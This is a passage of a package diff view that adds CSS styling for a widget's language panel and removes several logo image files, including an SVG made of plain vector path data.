.fhl-toast.visible { opacity: 1; visibility: visible; transform: translateX(-50%) translateY(0)}
|
|
210
|
+
|
|
211
|
+
#fhl-widget-container .fhl-language-panel { position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%); margin-bottom: 15px; background-color: rgba(255, 255, 255, 0.4) !important; backdrop-filter: blur(25px) !important; -webkit-backdrop-filter: blur(25px) !important; border-radius: 25px; box-shadow: 0 0 25px 5px rgba(255, 255, 255, 0.4), 0 8px 32px 0 rgba(31, 38, 135, 0.1); padding: 12px; display: grid; grid-template-columns: 1fr 1fr; gap: 4px; opacity: 0; visibility: hidden; pointer-events: none; transition: opacity 0.3s ease, transform 0.3s ease; transform-origin: bottom center; }
|
|
212
|
+
#fhl-widget-container .fhl-language-panel.visible { opacity: 1; visibility: visible; pointer-events: auto; }
|
|
213
|
+
|
|
214
|
+
#fhl-widget-container .fhl-language-item { display: block; padding: 8px 16px; font-size: 14px; font-weight: 500; color: rgba(0, 0, 0, 0.6); text-decoration: none; border-radius: 20px; transition: all 0.2s ease; cursor: pointer; text-align: center; }
|
|
215
|
+
#fhl-widget-container .fhl-language-item:hover { background-color: rgba(255, 255, 255, 0.3); color: rgba(0, 0, 0, 0.9); }
|
package/isai.png
DELETED
|
Binary file
|
package/lai128.png
DELETED
|
Binary file
|
package/lai128.svg
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
<?xml version="1.0" encoding="UTF-8"?>
|
|
2
|
-
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="128" height="128">
|
|
3
|
-
<path d="M0 0 C4.09524968 2.43972321 5.51670856 4.55660292 7 9 C8.71979324 21.83845654 3.06260726 31.74334845 -4 42 C-3.34 42.66 -2.68 43.32 -2 44 C1.3454582 43.81752046 4.01065234 43.57445993 6.9375 41.875 C8.26191293 39.89698696 8.26191293 39.89698696 8 36.8125 C8 31.14812916 9.7327475 26.99139679 12.75 22.25 C17.68843383 17.31156617 21.2146038 15.75541544 28.125 15.6875 C31.88226012 15.78021161 35.32454956 16.25997642 39 17 C40.546875 16.9071875 40.546875 16.9071875 42.125 16.8125 C45 17 45 17 46.64770508 18.68652344 C48.22863889 21.39115041 48.42114545 23.08740357 48.51171875 26.203125 C48.54716797 27.1828125 48.58261719 28.1625 48.61914062 29.171875 C48.64169922 30.18765625 48.66425781 31.2034375 48.6875 32.25 C48.72166016 33.28125 48.75582031 34.3125 48.79101562 35.375 C48.87338093 37.91655812 48.94256834 40.45777626 49 43 C50.83700789 43.77242269 50.83700789 43.77242269 53 44 C54.8342357 42.90806924 54.8342357 42.90806924 56 41 C56.4528383 38.94715037 56.4528383 38.94715037 56.40625 36.69140625 C56.43912109 35.44713867 56.43912109 35.44713867 56.47265625 34.17773438 C56.48167969 33.31470703 56.49070312 32.45167969 56.5 31.5625 C56.59201502 22.80135557 56.59201502 22.80135557 58.30859375 19.4296875 C60 18 60 18 63.5625 17.5625 C64.696875 17.706875 65.83125 17.85125 67 18 C69.19164944 21.28747416 69.28679386 22.48494825 69.4140625 26.32421875 C69.45273438 27.35224609 69.49140625 28.38027344 69.53125 29.43945312 C69.5621875 30.51130859 69.593125 31.58316406 69.625 32.6875 C69.66367188 33.77095703 69.70234375 34.85441406 69.7421875 35.97070312 C69.83650509 38.64696467 69.92210005 41.32321843 70 44 C70.77085938 43.90460938 71.54171875 43.80921875 72.3359375 43.7109375 C73.33882813 43.60007813 74.34171875 43.48921875 75.375 43.375 C76.37273437 43.25898437 77.37046875 43.14296875 78.3984375 43.0234375 C79.68621094 43.01183594 79.68621094 43.01183594 81 43 C83 45 83 45 83.375 48.4375 C83 52 83 52 81.1875 53.875 C76.98910002 56.03417713 73.68437078 56.31758446 69 56 C66.99218823 55.01577854 64.99107248 54.01765927 63 53 C60.55070465 53.22266321 58.92334619 54.03521932 56.6875 55.0625 C53.2421361 56.26437113 50.63314289 56.31869674 47 56 C46.05125 55.443125 45.1025 54.88625 44.125 54.3125 C39.99309227 52.57709875 38.32064605 53.6552949 34.296875 55.21484375 C27.93393093 57.38993177 22.83471284 55.80515041 17 53 C14.5119723 52.07573268 13.48479871 51.80381686 10.9921875 52.8125 C10.29351562 53.204375 9.59484375 53.59625 8.875 54 C3.69096141 56.45559723 -0.48775604 56.45965671 -6 55 C-8.56632883 53.85890022 -10.65713973 52.5788841 -13 51 C-13.886875 51.825 -14.77375 52.65 -15.6875 53.5 C-17.87894978 55.3193168 -18.821014 55.96670028 -21.6875 56.5 C-24 56 -24 56 -25.8125 54.875 C-27.69781629 51.89818481 -27.73403339 50.469976 -27 47 C-24.98851444 45.13034996 -22.9209505 43.55121239 -20.65234375 42.00390625 C-18.64331142 40.04006135 -18.64331142 40.04006135 -19.23828125 36.96484375 C-19.36468994 36.35632568 -19.49109863 35.74780762 -19.62133789 35.12084961 C-20.39325683 30.7974068 -20.22645223 26.37988528 -20.25 22 C-20.270625 21.0409375 -20.29125 20.081875 -20.3125 19.09375 C-20.34454412 13.2617204 -19.84271628 9.13042605 -17 4 C-11.56790129 -1.16049378 -7.06888476 -1.60261184 0 0 Z M-7 9 C-10.57048257 12.57048257 -9.86080854 18.1409525 -10 23 C-9.67032024 26.52348549 -9.67032024 26.52348549 -9 29 C-5.0225484 24.64374349 -3.16823779 18.74788396 -2.8125 12.9375 C-2.874375 12.298125 -2.93625 11.65875 -3 11 C-4.32 10.34 -5.64 9.68 -7 9 Z M22 30 C19.66015558 32.87648225 19.66015558 32.87648225 20.125 36.4375 C21.08135521 40.33123193 21.69754692 41.76861278 25 44 C27.95691709 44.75015195 27.95691709 44.75015195 31 44 C34.02033737 42.06307631 34.02033737 42.06307631 36 39 C36.63664952 34.96788636 36.69818231 32.98262696 34.3125 29.625 C29.52004458 26.25732862 26.64806728 26.48254368 22 30 Z " fill="#000000" transform="translate(36,33)"/>
|
|
4
|
-
<path d="M0 0 C2.4375 1.5625 2.4375 1.5625 4 4 C3.9375 7.625 3.9375 7.625 3 11 C-0.46923881 13.31282587 -1.92205575 13.42478586 -6 13 C-7.875 11.9375 -7.875 11.9375 -9 10 C-9.63316583 4.09045226 -9.63316583 4.09045226 -7.875 1.0625 C-5.06487736 -0.52990283 -3.17235276 -0.45319325 0 0 Z " fill="#000000" transform="translate(102,35)"/>
|
|
5
|
-
</svg>
|
package/lai48.png
DELETED
|
Binary file
|
package/lai800.png
DELETED
|
Binary file
|
package/logo/fish.png
DELETED
|
Binary file
|
package/logo/fish512.png
DELETED
|
Binary file
|
package/logo/wing1024.png
DELETED
|
Binary file
|
package/logo/wing512.png
DELETED
|
Binary file
|
package/ssk.png
DELETED
|
Binary file
|
package/ssk128.png
DELETED
|
Binary file
|
package/y.png
DELETED
|
Binary file
|